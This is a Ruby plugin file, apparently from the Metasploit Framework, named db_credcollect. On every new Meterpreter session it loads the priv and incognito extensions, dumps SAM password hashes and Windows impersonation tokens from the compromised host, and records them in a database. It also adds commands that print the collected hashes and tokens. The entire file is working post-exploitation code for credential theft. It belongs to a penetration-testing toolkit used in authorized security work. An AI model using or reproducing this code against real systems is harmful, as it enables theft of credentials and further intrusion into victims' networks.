metasploit-framework/plugins/db_credcollect.rb

123 lines
2.7 KiB
Ruby

# credcollect - tebo[at]attackresearch.com
module Msf
class Plugin::CredCollect < Msf::Plugin
include Msf::SessionEvent
class CredCollectCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
def name
"credcollect"
end
def commands
{
"db_hashes" => "Dumps hashes collected in the database",
"db_tokens" => "Dumps tokens collected in the database with host information"
}
end
def cmd_db_hashes()
if not self.framework.db.active
print_error("Database not connected")
return
end
framework.db.get_auth_info(:proto=>"smb").each do |info|
if info.kind_of? Hash and info.has_key? :hash_string
print_line(info[:hash_string])
end
end
end
def cmd_db_tokens()
if not self.framework.db.active
print_error("Database not connected")
return
end
framework.db.get_auth_info(:proto=>"smb").each do |info|
if info.kind_of? Hash and info.has_key? :token
print_line(info[:target_host] + " - " + info[:token])
end
end
end
end
def on_session_open(session)
return if not self.framework.db.active
print_status("This is CredCollect, I have the conn!")
if (session.type == "meterpreter")
# Make sure we're rockin Priv and Incognito
session.core.use("priv")
session.core.use("incognito")
# It wasn't me mom! Stinko did it!
hashes = session.priv.sam_hashes
# Target infos for the db record
addr = session.sock.peerhost
host = self.framework.db.find_or_create_host(
:host => addr,
:state => Msf::HostState::Alive
)
# Record hashes to the running db instance
hashes.each do |hash|
data = {}
data[:host] = host
data[:target_host] = host.address
data[:proto] = 'smb'
data[:user] = hash.user_name
data[:hash] = hash.lanman + ":" + hash.ntlm
data[:hash_string] = hash.hash_string
self.framework.db.report_auth_info(data)
end
# Record user tokens
tokens = session.incognito.incognito_list_tokens(0).values
# Meh, tokens come to us as a formatted string
tokens = tokens.join.strip!.split("\n")
tokens.each do |token|
data = {}
data[:host] = host
data[:target_host] = host.address
data[:proto] = 'smb'
data[:token] = token
self.framework.db.report_auth_info(data)
end
end
end
def on_session_close(session,reason='')
end
def initialize(framework, opts)
super
self.framework.events.add_session_subscriber(self)
add_console_dispatcher(CredCollectCommandDispatcher)
end
def cleanup
self.framework.events.remove_session_subscriber(self)
remove_console_dispatcher('credcollect')
end
def name
"db_credcollect"
end
def desc
"Automatically grabs hashes and tokens from meterpreter session events and stores them in the db"
end
end
end